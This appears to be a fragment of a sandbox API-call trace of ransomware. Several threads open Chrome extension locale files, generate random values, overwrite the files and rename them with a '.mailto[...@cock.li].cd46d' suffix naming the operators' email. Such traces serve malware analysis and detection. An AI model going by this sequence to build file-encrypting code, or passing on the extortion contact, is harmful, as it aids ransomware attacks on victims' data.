_Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0173.389] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x38dfd3c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ca\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0173.389] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x91c0d8 Thread: id = 6248 os_tid = 0x1a40 [0170.652] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json")) returned 0x2020 [0171.485] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json", dwFileAttributes=0x20) returned 1 [0171.485] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x810 [0171.486] GetFileSizeEx (in: hFile=0x810, lpFileSize=0x459fc5c | out: lpFileSize=0x459fc5c*=663) returned 1 [0171.486] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x293, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.486] ReadFile (in: hFile=0x810, lpBuffer=0x459fbe0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x459fbdc, lpOverlapped=0x0 | out: lpBuffer=0x459fbe0*, lpNumberOfBytesRead=0x459fbdc*=0x4, lpOverlapped=0x0) returned 1 [0171.487] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.487] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.487] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aef38 [0171.487] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0171.487] NtQuerySystemTime (in: CurrentTime=0x459fbbc | out: CurrentTime=0x459fbbc*=132174899460766000) returned 0x0 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x13ea2a60 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x55c702e9 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x3ae5fbae [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x3133cb1c [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x10845ae1 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x4885bc04 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x3f4723b6 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0xa2a320d [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x7e5bbf13 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x1c14996a [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x5a9c7b05 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x45847353 [0171.487] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x18fdc8aa [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x2b14b230 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x798ecf0 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x3440efca [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x69e665da [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x678308e9 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x55ff383 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x79da827f [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x5bd44d7f [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x1b15303 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x41d5d0a6 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x1fc1bd74 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x1d8be3cf [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x6318929 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x63a99103 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x1867a43 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x111019f7 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x1cc931a0 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x6ea2d2c4 [0171.488] RtlRandomEx (in: Seed=0x459fbc8 | out: Seed=0x459fbc8) returned 0x24ff741 [0171.503] ReadFile (hFile=0x810, lpBuffer=0xd51e088, nNumberOfBytesToRead=0x297, lpNumberOfBytesRead=0x459fbb8, lpOverlapped=0x0) [0171.503] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.503] WriteFile (in: hFile=0x810, lpBuffer=0x12d01008*, nNumberOfBytesToWrite=0x297, lpNumberOfBytesWritten=0x459fbb4, lpOverlapped=0x0 | out: lpBuffer=0x12d01008*, lpNumberOfBytesWritten=0x459fbb4*=0x297, lpOverlapped=0x0) returned 1 [0172.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9c60 [0172.253] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e98a0 [0172.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0172.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d01008) returned 1 [0172.253] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0xd51e088) returned 1 [0172.255] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e8e90) returned 1 [0172.255] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2860) returned 1 [0172.255] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d8838 [0172.255] SetFilePointerEx (in: hFile=0x810, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.255] WriteFile (in: hFile=0x810, lpBuffer=0x12cf4f78*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x459fc1c, lpOverlapped=0x0 | out: lpBuffer=0x12cf4f78*, lpNumberOfBytesWritten=0x459fc1c*=0x10b, lpOverlapped=0x0) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf4f78) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8928) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e98a0) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d8838) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9c60) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef38) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af0a0) returned 1 [0173.405] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9af280) returned 1 [0173.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x928930 [0173.405] wcscpy (in: _Dest=0x928930, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json" [0173.405] wcscat (in: _Dest=0x928930, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0173.405] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x459fbd4, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\cs\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0173.405] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x928ab8 Thread: id = 6249 os_tid = 0x1a44 [0170.653] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json")) returned 0x2020 [0171.505] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json", dwFileAttributes=0x20) returned 1 [0171.505] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x814 [0171.505] GetFileSizeEx (in: hFile=0x814, lpFileSize=0x3e7fda4 | out: lpFileSize=0x3e7fda4*=642) returned 1 [0171.505] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x27e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.505] ReadFile (in: hFile=0x814, lpBuffer=0x3e7fd28, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3e7fd24, lpOverlapped=0x0 | out: lpBuffer=0x3e7fd28*, lpNumberOfBytesRead=0x3e7fd24*=0x4, lpOverlapped=0x0) returned 1 [0171.507] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeee8 [0171.507] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed08 [0171.507] NtQuerySystemTime (in: CurrentTime=0x3e7fd04 | out: CurrentTime=0x3e7fd04*=132174899461078000) returned 0x0 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x70549b66 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x25475b8d [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x45aa02a1 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x1d74be6 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x4e9c70d4 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x86208ee [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x6f9a4b28 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x5ade59c2 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x664b86f2 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x406e716e [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x68281bf0 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x60fb8fd4 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x3e01ae3 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0xf46a808 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x4460ad97 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x788b785d [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x246d13cc [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x4eb082b1 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x4f167e2f [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x2e4fe2ce [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x7e13cd7f [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x2d2e08d5 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x5641bc29 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x65e6b8b6 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x5fc966b0 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x1877b840 [0171.507] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x1860e0c3 [0171.508] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x70ed1ca0 [0171.508] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x4f972b61 [0171.508] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x24649ad7 [0171.508] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0x60af6cb6 [0171.508] RtlRandomEx (in: Seed=0x3e7fd10 | out: Seed=0x3e7fd10) returned 0xb128cc9 [0171.519] ReadFile (hFile=0x814, lpBuffer=0x12d0d810, nNumberOfBytesToRead=0x282, lpNumberOfBytesRead=0x3e7fd00, lpOverlapped=0x0) [0171.519] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.519] WriteFile (in: hFile=0x814, lpBuffer=0x12d1a018*, nNumberOfBytesToWrite=0x282, lpNumberOfBytesWritten=0x3e7fcfc, lpOverlapped=0x0 | out: lpBuffer=0x12d1a018*, lpNumberOfBytesWritten=0x3e7fcfc*=0x282, lpOverlapped=0x0) returned 1 [0172.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9918 [0172.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x8e9aa8 [0172.252] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9aa8) returned 1 [0172.252] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d1a018) returned 1 [0172.252] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12d0d810) returned 1 [0172.252] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e92c8) returned 1 [0172.252] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d2590) returned 1 [0172.252] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x27) returned 0x8d88c8 [0172.252] SetFilePointerEx (in: hFile=0x814, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0172.252] WriteFile (in: hFile=0x814, lpBuffer=0x12cf5090*, nNumberOfBytesToWrite=0x10b, lpNumberOfBytesWritten=0x3e7fd64, lpOverlapped=0x0 | out: lpBuffer=0x12cf5090*, lpNumberOfBytesWritten=0x3e7fd64*=0x10b, lpOverlapped=0x0) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x12cf5090) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88f8) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9aa8) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8d88c8) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x8e9918) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeee8) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aef10) returned 1 [0173.390] RtlFreeHeap (HeapHandle=0x8c0000, Flags=0x0, BaseAddress=0x9aeda8) returned 1 [0173.390] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x180) returned 0x91c278 [0173.390] wcscpy (in: _Dest=0x91c278, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json" [0173.390] wcscat (in: _Dest=0x91c278, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d" [0173.390] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0x3e7fd1c, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\da\\messages.json.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0173.390] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x196) returned 0x91c400 Thread: id = 6250 os_tid = 0x1a48 [0170.653] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json")) returned 0x2020 [0171.523] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json", dwFileAttributes=0x20) returned 1 [0171.523] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\de\\messages.json"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x980 [0171.524] GetFileSizeEx (in: hFile=0x980, lpFileSize=0x2c4f988 | out: lpFileSize=0x2c4f988*=701) returned 1 [0171.524] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x2b9, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.524] ReadFile (in: hFile=0x980, lpBuffer=0x2c4f90c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2c4f908, lpOverlapped=0x0 | out: lpBuffer=0x2c4f90c*, lpNumberOfBytesRead=0x2c4f908*=0x4, lpOverlapped=0x0) returned 1 [0171.525] SetFilePointerEx (in: hFile=0x980, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0171.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aefb0 [0171.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aed08 [0171.525] RtlAllocateHeap (HeapHandle=0x8c0000, Flags=0x8, Size=0x20) returned 0x9aeec0 [0171.525] NtQuerySystemTime (in: CurrentTime=0x2c4f8e8 | out: CurrentTime=0x2c4f8e8*=132174899461234000) returned 0x0 [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x68d364c [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x20ff595d [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x69d78f4 [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x790010d0 [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x3f467b99 [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x6a91e20d [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x1be1acb [0171.525] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x56b19bef [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x18a241b1 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x130d434d [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x38c95f53 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x7dfed112 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x7aca87af [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x6692dc4f [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x5e7cb449 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x7801cb55 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x6d951f8d [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 | out: Seed=0x2c4f8f4) returned 0x137ed471 [0171.526] RtlRandomEx (in: Seed=0x2c4f8f4 